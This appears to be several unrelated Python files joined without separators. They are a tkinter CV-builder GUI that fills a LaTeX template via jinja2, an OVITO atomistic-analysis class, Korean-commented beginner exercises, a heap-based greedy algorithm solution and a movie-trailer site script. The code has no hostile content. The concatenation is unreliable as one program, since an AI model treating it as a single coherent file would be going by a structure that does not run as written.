# -*- coding: utf-8 -*-
"""
Created on Sat Feb  6 18:50:46 2021

@author: Nikita
"""

import tkinter as tk
#from tkinter import colorchooser
from tkinter import ttk
from jinja2 import Template

#All frames that the GUI has
root = tk.Tk()
mainframe = ttk.Frame(root)
secondframe = ttk.Frame(root)
thirdframe = ttk.Frame(root)
fourthframe = ttk.Frame(root)
fifthframe = ttk.Frame(root)
sixthframe = ttk.Frame(root)
seventhframe = ttk.Frame(root)

mainframe.grid(column=0, row=0, sticky=(tk.N, tk.W, tk.E, tk.S))
secondframe.grid(column=0, row=0, sticky=(tk.N, tk.W, tk.E, tk.S))
thirdframe.grid(column=0, row=0, sticky=(tk.N, tk.W, tk.E, tk.S))
fourthframe.grid(column=0, row=0, sticky=(tk.N, tk.W, tk.E, tk.S))
fifthframe.grid(column=0, row=0, sticky=(tk.N, tk.W, tk.E, tk.S))
sixthframe.grid(column=0, row=0, sticky=(tk.N, tk.W, tk.E, tk.S))
seventhframe.grid(column=0, row=0, sticky=(tk.N, tk.W, tk.E, tk.S))

# global variables
current_frame = 0
displayed_frame = mainframe
frames = [mainframe, secondframe, thirdframe, fourthframe, fifthframe,
          sixthframe,seventhframe]
total_frames =  len(frames)
last_buttons = [ttk.Button(), ttk.Button()]

root.title("CV Builder")

def click():
    print("Click")

def nextFrame( number : int):
    global current_frame
    global total_frames
    global frames
    global displayed_frame
    global last_buttons
    global label_skills
    global label_languages

    # Get rid of arrow
    if (displayed_frame == mainframe):
        menu_employment.entryconfigure(1,label = "Personal Details")
    elif(displayed_frame == secondframe):
        menu_employment.entryconfigure(2,label = "Summary")
    elif(displayed_frame == thirdframe):
        menu_employment.entryconfigure(3,label = "Academic History")
    elif(displayed_frame == fourthframe):
        menu_employment.entryconfigure(4,label = "Employment History")
    elif(displayed_frame == fifthframe):
        menu_employment.entryconfigure(5,label = "Skills")
    elif(displayed_frame == sixthframe):
        menu_employment.entryconfigure(6,label = "Languages")
    elif(displayed_frame == seventhframe):
        menu_employment.entryconfigure(7,label = "Wrap Up")

    # Add arrow
    current_frame += number
    current_frame %= total_frames
    frames[current_frame].tkraise()
    displayed_frame = frames[current_frame]
    last_buttons[0].destroy()
    last_buttons[1].destroy()
    total = 0

    if (displayed_frame == fifthframe):
        total = 2*len(label_skills) + 4
    elif (displayed_frame == sixthframe):
        total = 2*len(label_languages) + 4
    else:
        total = 6

    # Add arrow
    if (displayed_frame == mainframe):
        menu_employment.entryconfigure(1,label = "->Personal Details")
    elif(displayed_frame == secondframe):
        menu_employment.entryconfigure(2,label = "->Summary")
    elif(displayed_frame == thirdframe):
        menu_employment.entryconfigure(3,label = "->Academic History")
    elif(displayed_frame == fourthframe):
        menu_employment.entryconfigure(4,label = "->Employment History")
    elif(displayed_frame == fifthframe):
        menu_employment.entryconfigure(5,label = "->Skills")
    elif(displayed_frame == sixthframe):
        menu_employment.entryconfigure(6,label = "->Languages")
    elif(displayed_frame == seventhframe):
        menu_employment.entryconfigure(7,label = "->Wrap Up")

    button_next = ttk.Button(displayed_frame, text = "Next >",command = lambda:nextFrame(1))
    button_next.grid(column = 1, row = total, sticky = tk.E, padx = (0,20))
    button_previous = ttk.Button(displayed_frame, text = "< Previous", command = lambda:nextFrame(-1))
    button_previous.grid(column = 0, row = total, sticky = tk.W , padx = (20,0))

    last_buttons[0] = button_next
    last_buttons[1] = button_previous

def addLanguage():
    global label_languages
    global languages
    global label_languages_level
    global languages_level
    global last_buttons_language
    global last_buttons

    label_languages.append(ttk.Label(sixthframe, text = 'Language '+str(len(label_languages)+1)))
    languages.append(ttk.Entry(sixthframe, font = ('Helvetica',16)))
    label_languages_level.append(ttk.Label(sixthframe, text = 'Language level ' + str(len(label_languages_level)+1)))
    languages_level.append(ttk.Entry(sixthframe, font = ('Helvetica',16)))
    total = 2*len(label_languages)

    label_languages[-1].grid(column = 0, row = total+1, sticky = (tk.W), padx = (20,0),pady = 10)
    languages[-1].grid(column = 1, row = total+1, sticky = (tk.E), padx = (0,20),pady = 10)
    label_languages_level[-1].grid(column = 0, row = total+2, sticky = tk.W , padx = (20,0),pady = 10)
    languages_level[-1].grid(column = 1, row = total+2, sticky = tk.E , padx = (0,20),pady = 10)

    last_buttons_language[0].destroy()
    last_buttons_language[1].destroy()

    last_buttons_language.append(ttk.Button())
    last_buttons_language.append(ttk.Button())

    last_buttons_language[0] = ttk.Button(sixthframe, text = "+ Add Language",command = addLanguage)
    last_buttons_language[0].grid(column = 1, row = total + 3, sticky = tk.E, padx = (0,20))
    last_buttons_language[1] = ttk.Button(sixthframe, text = "- Remove Language", command = removeLanguage)
    last_buttons_language[1].grid(column = 0, row = total + 3, sticky = tk.W , padx = (20,0))

    last_buttons[0].destroy()
    last_buttons[1].destroy()

    button_next = ttk.Button(displayed_frame, text = "Next >",command = lambda:nextFrame(1))
    button_next.grid(column = 1, row = total+4, sticky = tk.E, padx = (0,20))
    button_previous = ttk.Button(displayed_frame, text = "< Previous", command = lambda:nextFrame(-1))
    button_previous.grid(column = 0, row = total+4, sticky = tk.W , padx = (20,0))

    last_buttons[0] = button_next
    last_buttons[1] = button_previous

def removeLanguage():
    global label_languages
    global languages
    global label_languages_level
    global languages_level
    global last_buttons_language
    global last_buttons

    total = 2*len(label_languages)
    if (total > 0):

        label_languages[-1].destroy()
        languages[-1].destroy()
        label_languages_level[-1].destroy()
        languages_level[-1].destroy()

        label_languages.pop()
        languages.pop()
        label_languages_level.pop()
        languages_level.pop()

        total = 2*len(label_languages)

        last_buttons_language[0].destroy()
        last_buttons_language[1].destroy()

        last_buttons_language.append(ttk.Button())
        last_buttons_language.append(ttk.Button())

        last_buttons_language[0] = ttk.Button(sixthframe, text = "+ Add Entry",command = addLanguage)
        last_buttons_language[0].grid(column = 1, row = total + 3, sticky = tk.E, padx = (0,20))
        last_buttons_language[1] = ttk.Button(sixthframe, text = "- Remove Entry", command = removeLanguage)
        last_buttons_language[1].grid(column = 0, row = total + 3, sticky = tk.W , padx = (20,0))

        last_buttons[0].destroy()
        last_buttons[1].destroy()

        button_next = ttk.Button(displayed_frame, text = "Next >",command = lambda:nextFrame(1))
        button_next.grid(column = 1, row = total+4, sticky = tk.E, padx = (0,20))
        button_previous = ttk.Button(displayed_frame, text = "< Previous", command = lambda:nextFrame(-1))
        button_previous.grid(column = 0, row = total+4, sticky = tk.W , padx = (20,0))

        last_buttons[0] = button_next
        last_buttons[1] = button_previous

def addSkill():
    global label_skills
    global skills
    global label_skills_level
    global skills_level
    global last_buttons_skill
    global last_buttons

    label_skills.append(ttk.Label(fifthframe,  text = 'Skill ' + str(len(label_skills) + 1)))
    skills.append(ttk.Entry(fifthframe, font = ('Helvetica',16)))
    label_skills_level.append(ttk.Label(fifthframe,  text = 'Skill level ' + str(len(label_skills_level) + 1)))
    skills_level.append(ttk.Entry(fifthframe, font = ('Helvetica',16)))
    total = 2*len(label_skills)

    label_skills[-1].grid(column = 0, row = total+1, sticky = (tk.W), padx = (20,0),pady = 10)
    skills[-1].grid(column = 1, row = total+1, sticky = (tk.E), padx = (0,20),pady = 10)
    label_skills_level[-1].grid(column = 0, row = total+2, sticky = tk.W , padx = (20,0),pady = 10)
    skills_level[-1].grid(column = 1, row = total+2, sticky = tk.E , padx = (0,20),pady = 10)

    last_buttons_skill[0].destroy()
    last_buttons_skill[1].destroy()

    last_buttons_skill.append(ttk.Button())
    last_buttons_skill.append(ttk.Button())

    last_buttons_skill[0] = ttk.Button(fifthframe, text = "+ Add Entry",command = addSkill)
    last_buttons_skill[0].grid(column = 1, row = total + 3, sticky = tk.E, padx = (0,20))
    last_buttons_skill[1] = ttk.Button(fifthframe, text = "- Remove Entry", command = removeSkill)
    last_buttons_skill[1].grid(column = 0, row = total + 3, sticky = tk.W , padx = (20,0))

    last_buttons[0].destroy()
    last_buttons[1].destroy()

    button_next = ttk.Button(displayed_frame, text = "Next >",command = lambda:nextFrame(1))
    button_next.grid(column = 1, row = total+4, sticky = tk.E, padx = (0,20))
    button_previous = ttk.Button(displayed_frame, text = "< Previous", command = lambda:nextFrame(-1))
    button_previous.grid(column = 0, row = total+4, sticky = tk.W , padx = (20,0))

    last_buttons[0] = button_next
    last_buttons[1] = button_previous

def removeSkill():

    global label_skills
    global skills
    global label_skills_level
    global skills_level
    global last_buttons_skill
    global last_buttons

    total = 2*len(label_skills)
    if (total > 0):

        label_skills[-1].destroy()
        skills[-1].destroy()
        label_skills_level[-1].destroy()
        skills_level[-1].destroy()

        label_skills.pop()
        skills.pop()
        label_skills_level.pop()
        skills_level.pop()

        total = 2*len(label_skills)

        last_buttons_skill[0].destroy()
        last_buttons_skill[1].destroy()

        last_buttons_skill.append(ttk.Button())
        last_buttons_skill.append(ttk.Button())

        last_buttons_skill[0] = ttk.Button(fifthframe, text = "+ Add Entry",command = addSkill)
        last_buttons_skill[0].grid(column = 1, row = total + 3, sticky = tk.E, padx = (0,20))
        last_buttons_skill[1] = ttk.Button(fifthframe, text = "- Remove Entry", command = removeSkill)
        last_buttons_skill[1].grid(column = 0, row = total + 3, sticky = tk.W , padx = (20,0))

        last_buttons[0].destroy()
        last_buttons[1].destroy()

        button_next = ttk.Button(displayed_frame, text = "Next >",command = lambda:nextFrame(1))
        button_next.grid(column = 1, row = total+4, sticky = tk.E, padx = (0,20))
        button_previous = ttk.Button(displayed_frame, text = "< Previous", command = lambda:nextFrame(-1))
        button_previous.grid(column = 0, row = total+4, sticky = tk.W , padx = (20,0))

        last_buttons[0] = button_next
        last_buttons[1] = button_previous

def navigate(page : int):
    global displayed_frame

    # Get rid of arrow
    if (displayed_frame == mainframe):
        nextFrame(page-0)
        menu_employment.entryconfigure(1,label = "Personal Details")
    elif(displayed_frame == secondframe):
        nextFrame(page-1)
        menu_employment.entryconfigure(2,label = "Summary")
    elif(displayed_frame == thirdframe):
        nextFrame(page-2)
        menu_employment.entryconfigure(3,label = "Academic History")
    elif(displayed_frame == fourthframe):
        nextFrame(page-3)
        menu_employment.entryconfigure(4,label = "Employment History")
    elif(displayed_frame == fifthframe):
        nextFrame(page-4)
        menu_employment.entryconfigure(5,label = "Skills")
    elif(displayed_frame == sixthframe):
        nextFrame(page-5)
        menu_employment.entryconfigure(6,label = "Languages")
    elif(displayed_frame == seventhframe):
        nextFrame(page-6)
        menu_employment.entryconfigure(7,label = "Wrap Up")

    # Add arrow
    if (displayed_frame == mainframe):
        menu_employment.entryconfigure(1,label = "->Personal Details")
    elif(displayed_frame == secondframe):
        menu_employment.entryconfigure(2,label = "->Summary")
    elif(displayed_frame == thirdframe):
        menu_employment.entryconfigure(3,label = "->Academic History")
    elif(displayed_frame == fourthframe):
        menu_employment.entryconfigure(4,label = "->Employment History")
    elif(displayed_frame == fifthframe):
        menu_employment.entryconfigure(5,label = "->Skills")
    elif(displayed_frame == sixthframe):
        menu_employment.entryconfigure(6,label = "->Languages")
    elif(displayed_frame == seventhframe):
        menu_employment.entryconfigure(7,label = "->Wrap Up")

def printToTemplate():

    all_entries = {}
    for label,entry in zip(labels,entries):
        print (label['text'])
        if ( isinstance(entry , ttk.Entry)):
            all_entries[label['text'].replace(" ","")] = entry.get()
            print(label['text'])
        elif (isinstance( entry, tk.Text)):
            all_entries[label['text'].replace(" ","")] = entry.get("1.0","end")

    extracted_skills = []
    extracted_skill_levels = []
    extracted_languages = []
    extracted_language_levels = []
    for skill, skill_level in zip(skills,skills_level):
        extracted_skills.append(skill.get())
        extracted_skill_levels.append(skill_level.get())

    for language, language_level in zip(languages,languages_level):

        extracted_languages.append(language.get())
        extracted_language_levels.append(language_level.get())

    template = open("LaTeXTemplates\BlueBasicTexTemplate\BlueBasicTemplate.tex", "r")
    text = Template(template.read())
    template.close()
    write_to = open( "CreatedLatexFiles\CV.tex", "w")
    write_to.write(text.render(all_entries, languages = zip(extracted_languages,extracted_language_levels),
                               skills = zip(extracted_skills,extracted_skill_levels)) )
    write_to.close()

def addAcademicEntry():
    global total_academic_history_entries
    total = total_academic_history_entries
    menu_academic_history.entryconfigure(total + 1,label = "Academic History " + str(total+1))
    menu_academic_history.entryconfigure(total + 1, command = lambda:navigate(2))
    if (total_academic_history_entries == 1):
        menu_academic_history.add_command(label = "+ Academic History Entry", command = addAcademicEntry)
        menu_academic_history.add_command(label = "- Academic History Entry", command = deleteAcademicEntry)
    else:
        menu_academic_history.entryconfigure(total + 2,label = "+ Academic History Entry")
        menu_academic_history.entryconfigure(total + 2, command = addAcademicEntry)
        menu_academic_history.add_command(label = "- Academic History Entry", command = deleteAcademicEntry)

    total_academic_history_entries += 1

def deleteAcademicEntry():
    global total_academic_history_entries
    total = total_academic_history_entries
    menu_academic_history.delete(total,total+2)
    total -= 1
    total_academic_history_entries -= 1
    if (total == 1):
        menu_academic_history.add_command(label = "+ Academic History Entry", command = addAcademicEntry)
    else:
        menu_academic_history.add_command(label = "+ Academic History Entry", command = addAcademicEntry)
        menu_academic_history.add_command(label = "- Academic History Entry", command = deleteAcademicEntry)

# This is the menu that navigates through all the pages

menu_employment = tk.Menu(root)
menu_employment.add_command(label = "->Personal Details", command = lambda:navigate(0))

menu_employment.add_command(label = "Summary",command = lambda:navigate(1))

menu_academic_history = tk.Menu(menu_employment)
menu_employment.add_cascade(label = "Academic History", menu=menu_academic_history)
menu_academic_history.add_command(label = "Academic History 1", command = lambda:navigate(2))
total_academic_history_entries = 1
menu_academic_history.add_command(label = "+ Academic History Entry", command = addAcademicEntry)

menu_employment.add_command(label = "Employment History", command = lambda:navigate(3))

menu_employment.add_command(label = "Skills", command = lambda:navigate(4))

menu_employment.add_command(label = "Languages", command = lambda:navigate(5))

menu_employment.add_command(label = "Wrap Up", command = lambda:navigate(6))

root.config(menu = menu_employment)

entries = []
labels = []

# Everything here is related to the first frame

label_name = ttk.Label(mainframe, text = 'Name')
label_name.grid(column = 0, row = 0, sticky = (tk.W), padx = (20,0),pady = 10)
name = ttk.Entry(mainframe, font = ('Helvetica',16))
name.grid(column = 1, row = 0, sticky = (tk.E), padx = (0,20),pady = 10)

label_surname = ttk.Label(mainframe, text = 'Surname')
label_surname.grid(column = 0, row = 1, sticky = tk.W , padx = (20,0),pady = 10)
surname = ttk.Entry(mainframe, font = ('Helvetica',16))
surname.grid(column = 1, row = 1, sticky = tk.E , padx = (0,20),pady = 10)

label_telephone_number = ttk.Label(mainframe, text = 'Phone number')
label_telephone_number.grid(column = 0, row = 2, sticky = tk.W , padx = (20,0),pady = 10)
telephone_number = ttk.Entry(mainframe, font = ('Helvetica',16))
telephone_number.grid(column = 1, row = 2, sticky = tk.E , padx = (0,20),pady = 10)

label_mail = ttk.Label(mainframe, text = 'Email')
label_mail.grid(column = 0, row = 3, sticky = tk.W, padx = (20,0),pady = 10)
mail = ttk.Entry(mainframe, font = ('Helvetica',16))
mail.grid(column = 1, row = 3, sticky = tk.E, padx = (0,20),pady = 10)

label_Linkedin = ttk.Label(mainframe, text = 'Linkedin URL')
label_Linkedin.grid(column = 0, row = 4, sticky = tk.W, padx = (20,0),pady = 10)
Linkedin = ttk.Entry(mainframe, font = ('Helvetica',16))
Linkedin.grid(column = 1, row = 4, sticky =tk.E, padx = (0,20),pady = 10)

button_next = ttk.Button(displayed_frame, text = "Next >",command = lambda:nextFrame(1))
button_next.grid(column = 1, row = 5, sticky = tk.E, padx = (0,20))
button_previous = ttk.Button(displayed_frame, text = "< Previous", command = lambda:nextFrame(-1))
button_previous.grid(column = 0, row = 5, sticky = tk.W , padx = (20,0))
last_buttons[0] = button_next
last_buttons[1] = button_previous

entries.append(surname)
labels.append(label_surname)
entries.append(name)
labels.append(label_name)
entries.append(Linkedin)
labels.append(label_Linkedin)
entries.append(mail)
labels.append(label_mail)
entries.append(telephone_number)
labels.append(label_telephone_number)

for i in range(0,2):
    for j in range (0,5):
        mainframe.rowconfigure(i, weight = 1)
        mainframe.columnconfigure(j, weight = 3)

# Everything here is related to the second frame

label_summary = ttk.Label(secondframe, text = 'Profile')
label_summary.grid(column = 0, row = 0, sticky = (tk.W), padx = (20,20),pady = 10)
text_summary = tk.Text(secondframe, font = ('Helvetica',12),  height = 5, width = 40)
text_summary.grid(column = 1, row = 0, sticky = (tk.S,tk.N,tk.E,tk.W), padx = (20,20),pady = 10)
text_summary.insert("1.0","Give employers a summary of your life. \n")

entries.append(text_summary)
labels.append(label_summary)

# Everything here is related to the third frame

label_establishment = ttk.Label(thirdframe, text = 'Establishment')
label_establishment.grid(column = 0, row = 0, sticky = (tk.W), padx = (20,0),pady = 10)
establishment = ttk.Entry(thirdframe, font = ('Helvetica',16))
establishment.grid(column = 1, row = 0, sticky = (tk.E), padx = (0,20),pady = 10)

label_start_date = ttk.Label(thirdframe, text = 'Start date')
label_start_date.grid(column = 0, row = 1, sticky = (tk.W), padx = (20,0),pady = 10)
start_date = ttk.Entry(thirdframe, font = ('Helvetica',16))
start_date.grid(column = 1, row = 1, sticky = (tk.E), padx = (0,20),pady = 10)

label_end_date = ttk.Label(thirdframe, text = 'End date')
label_end_date.grid(column = 0, row = 2, sticky = (tk.W), padx = (20,0),pady = 10)
end_date = ttk.Entry(thirdframe, font = ('Helvetica',16))
end_date.grid(column = 1, row = 2, sticky = (tk.E), padx = (0,20),pady = 10)

label_specialization = ttk.Label(thirdframe, text = 'Specialization')
label_specialization.grid(column = 0, row = 3, sticky = (tk.W), padx = (20,0),pady = 10)
specialization = ttk.Entry(thirdframe, font = ('Helvetica',16))
specialization.grid(column = 1, row = 3, sticky = (tk.E), padx = (0,20),pady = 10)

label_description = ttk.Label(thirdframe, text = 'Description')
label_description.grid(column = 0, row = 4, sticky = (tk.W), padx = (20,0),pady = 10)
text_description = tk.Text(thirdframe, font = ('Helvetica',16), height = 5, width = 40)
text_description.grid(column = 1, row = 4, sticky = (tk.E), padx = (0,20),pady = 10)
text_description.insert("1.0", "List highlights of your time spent in said establishment. \n")

entries.append(establishment)
labels.append(label_establishment)
entries.append(start_date)
labels.append(label_start_date)
entries.append(end_date)
labels.append(label_end_date)
entries.append(specialization)
labels.append(label_specialization)
entries.append(text_description)
labels.append(label_description)

# Everything here is related to the fourth frame

label_company_name = ttk.Label(fourthframe, text = 'Company')
label_company_name.grid(column = 0, row = 0, sticky = (tk.W), padx = (20,0),pady = 10)
company_name = ttk.Entry(fourthframe, font = ('Helvetica',16))
company_name.grid(column = 1, row = 0, sticky = (tk.E), padx = (0,20),pady = 10)

label_start_date_job = ttk.Label(fourthframe, text = 'Job start date')
label_start_date_job.grid(column = 0, row = 1, sticky = (tk.W), padx = (20,0),pady = 10)
start_date_job = ttk.Entry(fourthframe, font = ('Helvetica',16))
start_date_job.grid(column = 1, row = 1, sticky = (tk.E), padx = (0,20),pady = 10)

label_end_date_job = ttk.Label(fourthframe, text = 'Job end date')
label_end_date_job.grid(column = 0, row = 2, sticky = (tk.W), padx = (20,0),pady = 10)
end_date_job = ttk.Entry(fourthframe, font = ('Helvetica',16))
end_date_job.grid(column = 1, row = 2, sticky = (tk.E), padx = (0,20),pady = 10)

label_position = ttk.Label(fourthframe, text = 'Position')
label_position.grid(column = 0, row = 3, sticky = (tk.W), padx = (20,0),pady = 10)
position = ttk.Entry(fourthframe, font = ('Helvetica',16))
position.grid(column = 1, row = 3, sticky = (tk.E), padx = (0,20),pady = 10)

label_description_job = ttk.Label(fourthframe, text = 'Job description')
label_description_job.grid(column = 0, row = 4, sticky = (tk.W), padx = (20,0),pady = 10)
text_description_job = tk.Text(fourthframe, font = ('Helvetica',16), height = 5, width = 40)
text_description_job.grid(column = 1, row = 4, sticky = (tk.E), padx = (0,20),pady = 10)
text_description_job.insert("1.0","Give employers an idea of what your job entitled. \n")

entries.append(company_name)
labels.append(label_company_name)
entries.append(start_date_job)
labels.append(label_start_date_job)
entries.append(end_date_job)
labels.append(label_end_date_job)
entries.append(position)
labels.append(label_position)
entries.append(text_description_job)
labels.append(label_description_job)

# Everything here is related to the fifth frame

label_skills = [ttk.Label()]
skills = [ttk.Entry()]
label_skills_level = [ttk.Label()]
skills_level = [ttk.Entry()]

label_skills[0] = ttk.Label(fifthframe, text = 'Skill 1')
label_skills[0].grid(column = 0, row = 0, sticky = (tk.W), padx = (20,0),pady = 10)
skills[0] = ttk.Entry(fifthframe, font = ('Helvetica',16))
skills[0].grid(column = 1, row = 0, sticky = (tk.E), padx = (0,20),pady = 10)

label_skills_level[0] = ttk.Label(fifthframe, text = 'Skill level 1')
label_skills_level[0].grid(column = 0, row = 1, sticky = tk.W , padx = (20,0),pady = 10)
skills_level[0] = ttk.Entry(fifthframe, font = ('Helvetica',16))
skills_level[0].grid(column = 1, row = 1, sticky = tk.E , padx = (0,20),pady = 10)

last_buttons_skill = []

last_buttons_skill.append(ttk.Button(fifthframe, text = "+ Add Entry",command = addSkill))
last_buttons_skill[0].grid(column = 1, row = 5, sticky = tk.E, padx = (0,20))
last_buttons_skill.append(ttk.Button(fifthframe, text = "- Remove Entry", command = removeSkill))
last_buttons_skill[1].grid(column = 0, row = 5, sticky = tk.W , padx = (20,0))

# Everything here is related to the sixth frame

label_languages = [ttk.Label()]
languages = [ttk.Entry()]
label_languages_level = [ttk.Label()]
languages_level = [ttk.Entry()]

label_languages[0] = ttk.Label(sixthframe, text = 'Language 1')
label_languages[0].grid(column = 0, row = 0, sticky = (tk.W), padx = (20,0),pady = 10)
languages[0] = ttk.Entry(sixthframe, font = ('Helvetica',16))
languages[0].grid(column = 1, row = 0, sticky = (tk.E), padx = (0,20),pady = 10)

label_languages_level[0] = ttk.Label(sixthframe, text = 'Language level 1')
label_languages_level[0].grid(column = 0, row = 1, sticky = tk.W , padx = (20,0),pady = 10)
languages_level[0] = ttk.Entry(sixthframe, font = ('Helvetica',16))
languages_level[0].grid(column = 1, row = 1, sticky = tk.E , padx = (0,20),pady = 10)

last_buttons_language = []

last_buttons_language.append(ttk.Button(sixthframe, text = "+ Add Language",command = addLanguage))
last_buttons_language[0].grid(column = 1, row = 5, sticky = tk.E, padx = (0,20))
last_buttons_language.append(ttk.Button(sixthframe, text = "- Remove Language", command = removeLanguage))
last_buttons_language[1].grid(column = 0, row = 5, sticky = tk.W , padx = (20,0))

# Everything here is related to the seventh frame

label_cv_name = ttk.Label(seventhframe, text = 'CV name')
label_cv_name.grid(column = 0, row = 0, sticky = (tk.W), padx = (20,0),pady = 10)
cv_name = ttk.Entry(seventhframe, font = ('Helvetica',16))
cv_name.grid(column = 1, row = 0, sticky = (tk.E), padx = (0,20),pady = 10)

button_finish = ttk.Button(seventhframe, text = "Print To Template",command = printToTemplate)
button_finish.grid(column = 0, row = 2, sticky = tk.W, padx = (20,0))

#template = Template(template)

#file = open("template.tex","r+")
#hello = file.read()
#doc = Document('basic')
#doc.append(hello)
#doc.generate_pdf('basic_maketitle2', clean_tex=False)
#file.close()

"""
        might want to call pack last or set the
        height last OR at least set it as a variable
        and call all packs last
"""
"""
        the next button ideally iterates through all entries
        and registers everything in a dictionary of the form
        dict(label : entry)

"""
#tk.colorchooser.askcolor(initialcolor='#ff0000') - might come in handy

mainframe.tkraise()
root.mainloop()


import numpy as np
import ovito
from ovito.io import import_file
from ovito.modifiers import *
import glob as glob
import numpy as np
import matplotlib.pyplot as plt
from ovito.data import *
from scipy.integrate import trapz
from fastdist import fastdist
import pyperclip

class AnalysisPipeline:
    def __init__(self, pipeline, framerange):
        self.pipeline = pipeline
        self.framerange = framerange
        self.results = {
            "t_v_ave": {},
            "t_r_ave": {},
            "t_all_positions": {},
            "t_c_ads": {},
            "t_cn_ptpt": {},
        }

    def run(self):
        for frame in self.framerange:
            data = self.pipeline.compute(frame)
            finder = CutoffNeighborFinder(3, data)
            finder2 = CutoffNeighborFinder(3.4, data)

            ptatom_index, catom_index, oatom_index = self.get_atom_indices(data)
            all_positions = data.particles.positions[...]

            interesting_c, interesting_pt, interesting_o = self.find_interesting_atoms(
                catom_index, ptatom_index, oatom_index, finder
            )

            ptptcn, ptpt_R, ptpt_msrd = self.compute_ptpt_metrics(
                ptatom_index, finder2
            )

            c_ads = len(interesting_c)
            pt_atom_coords = all_positions[ptatom_index]

            self.update_results(frame, ptpt_msrd, ptpt_R, pt_atom_coords, c_ads, np.mean(ptptcn))

        self.process_results()

    def get_atom_indices(self, data):
        ptatom_index = np.where(data.particles['Particle Type'].array == 1)[0]
        catom_index = np.where(data.particles['Particle Type'].array == 2)[0]
        oatom_index = np.where(data.particles['Particle Type'].array == 3)[0]
        return ptatom_index, catom_index, oatom_index

    def find_interesting_atoms(self, catom_index, ptatom_index, oatom_index, finder):
        interesting_c, interesting_pt, interesting_o = [], [], []
        for i in catom_index:
            neigh = [neigh.index for neigh in finder.find(i)]
            if len(neigh) > 0:
                n_count = 0
                for l in neigh:
                    if l in ptatom_index:
                        n_count += 1
                        interesting_pt.append(l)
                if n_count > 0:
                    interesting_c.append(i)

        interesting_c = np.unique(np.array(interesting_c))
        interesting_pt = np.unique(np.array(interesting_pt))

        for i in interesting_c:
            neigh = [neigh.index for neigh in finder.find(i)]
            if len(neigh) > 0:
                for l in neigh:
                    if l in oatom_index:
                        interesting_o.append(l)

        interesting_o = np.unique(np.array(interesting_o))

        return interesting_c, interesting_pt, interesting_o

    def compute_ptpt_metrics(self, ptatom_index, finder2):
        ptptcn, ptpt_R, ptpt_msrd = [], [], []
        for i in ptatom_index:
            neigh = [neigh.index for neigh in finder2.find(i)]
            rs = [neigh.distance for neigh in finder2.find(i)]
            distances = [[l, rs[i]] for i, l in enumerate(neigh) if l in ptatom_index]

            distances_unique = np.unique(np.array(distances), axis=0)
            distance = np.mean(distances_unique[:, 1], axis=0)
            var = np.var(distances_unique[:, 1], axis=0)

            ptpt_msrd.append(var)
            ptptcn.append(len(distances))
            ptpt_R.append(distance)
        ptptcn = np.array(ptptcn)
        ptpt_R = np.array(ptpt_R)
        ptpt_msrd = np.array(ptpt_msrd)
        ptpt_msrd = np.mean(ptpt_msrd)
        ptpt_R = np.mean(ptpt_R)
        cn_ptpt = np.mean(ptptcn)

        return ptptcn, ptpt_R, ptpt_msrd

    def update_results(self, frame, ptpt_msrd, ptpt_R, pt_atom_coords, c_ads, cn_ptpt):
        self.results["t_v_ave"][frame] = ptpt_msrd
        self.results["t_r_ave"][frame] = ptpt_R
        self.results["t_all_positions"][frame] = pt_atom_coords
        self.results["t_c_ads"][frame] = c_ads
        self.results["t_cn_ptpt"][frame] = cn_ptpt

    def process_results(self):
        t_cns = np.array(list(self.results["t_cn_ptpt"].values()))
        t_all_msrd = np.array(list(self.results["t_v_ave"].values()))
        t_all_r = np.array(list(self.results["t_r_ave"].values()))
        t_all_c_ads = np.array(list(self.results["t_c_ads"].values()))

        self.results["t_cn_ptpt"] = t_cns
        self.results["t_v_ave"] = t_all_msrd
        self.results["t_r_ave"] = t_all_r
        self.results["t_c_ads"] = t_all_c_ads


# 1. 모스부호(1)
def solution1(letter):
    morse = {
    '.-':'a','-...':'b','-.-.':'c','-..':'d','.':'e','..-.':'f',
    '--.':'g','....':'h','..':'i','.---':'j','-.-':'k','.-..':'l',
    '--':'m','-.':'n','---':'o','.--.':'p','--.-':'q','.-.':'r',
    '...':'s','-':'t','..-':'u','...-':'v','.--':'w','-..-':'x',
    '-.--':'y','--..':'z'
    }
    return ''.join(morse[i] for i in letter.split(' '))
    # 여기서 i는 letter의 모스부호를 공백을 기준으로 스플릿한 값이다.
    # i를 morse의 키 값으로 사용하여 morse의 value 값에 접근하고 그 값은 문자열 형태이므로 join 시켜주면 끝!

# 2. 연습문제 4번
def solution2():
    character = {
        'name' : '기사',
        'level' : '12',
        'items' : {
            'sword' : '불꽃의 검',
            'armor' : '플레이트',
        },
        'skill' : ['베기', '세게 베기', '아주 세게 베기']
    }

    for key in character:   # 여기서 변수 key는 character라는 딕셔너리의 키 값을 의미한다.
        if type(character[key]) is dict:    # 만약 위 딕셔너리의 value 값이 dict 타입이라면,
            for key_d in character[key]:    # dict 타입을 가진 키, 밸류 원소 출력. # (sword, armor)
                print(key_d, ":", character[key][key_d])
        elif type(character[key]) is list:  # 만약 원소가 list 타입이라면,
            for list_s in character[key]:   # list 타입 원소 출력. # (skill 3가지)
                print(key, ":", list_s)
        else:                               # 나머지(문자열 등) 타입
            print(key, ":", character[key]) # (name, level)

# 3. Countries
def solution3():
    countries = {"kr" : "대한민국", "us" : "미국", "jp" : "일본", "de" : "독일", "sk" : "슬로바키아", "hu" : "헝가리", "no" : "노르웨이"}
    for key in countries:
        print(key, ":", countries[key])

# 4. Date and Price
def solution4():
    date = ['04/01', '04/02', '04/03', '04/04', '04/05']
    close_price = [8000, 11200, 10200, 11100, 13200]

    dictionary = dict(zip(date, close_price)) # 파이썬의 내장함수인 zip()함수를 사용하여 iterable하고 길이가 같은 두 자료형을 하나로 묶어 준 후,
    print(dictionary)                         # dict 타입으로 변환하였다.


'''
카드를 섞을 때마다 최소의 카드 개수를 가진 뭉치 둘을 더해야 하는
그리디 알고리즘

32052 KB	272 ms
'''

import sys
import heapq

input = sys.stdin.readline

hq = []

n = int(input().strip())
ans = 0

for _ in range(n):
  heapq.heappush(hq, int(input().strip()))

while n != 1:
  a = heapq.heappop(hq)
  b = heapq.heappop(hq)
  ans += a + b
  heapq.heappush(hq, a + b)
  n -= 1

print(ans)


import fresh_tomatoes
import media

"""No need to enter full movie information you just need to enter movie title and all
other information will be populated automatically even the YouTube trailer URL

This assignment is using no more than functions mentioned during the course except
for json.load()

Enjoy some of my favorite movies!
"""

the_avaitor = media.Movie("The Aviator")
october_sky = media.Movie("October Sky")
american = media.Movie("American Gangster")
social_network = media.Movie("The Social Network")
django = media.Movie("Django Unchained")
gatsby = media.Movie("The Great Gatsby")
gravity = media.Movie("Gravity")
flight = media.Movie("Flight")
enemy = media.Movie("Enemy At the Gates")
im = media.Movie("Inside Man")
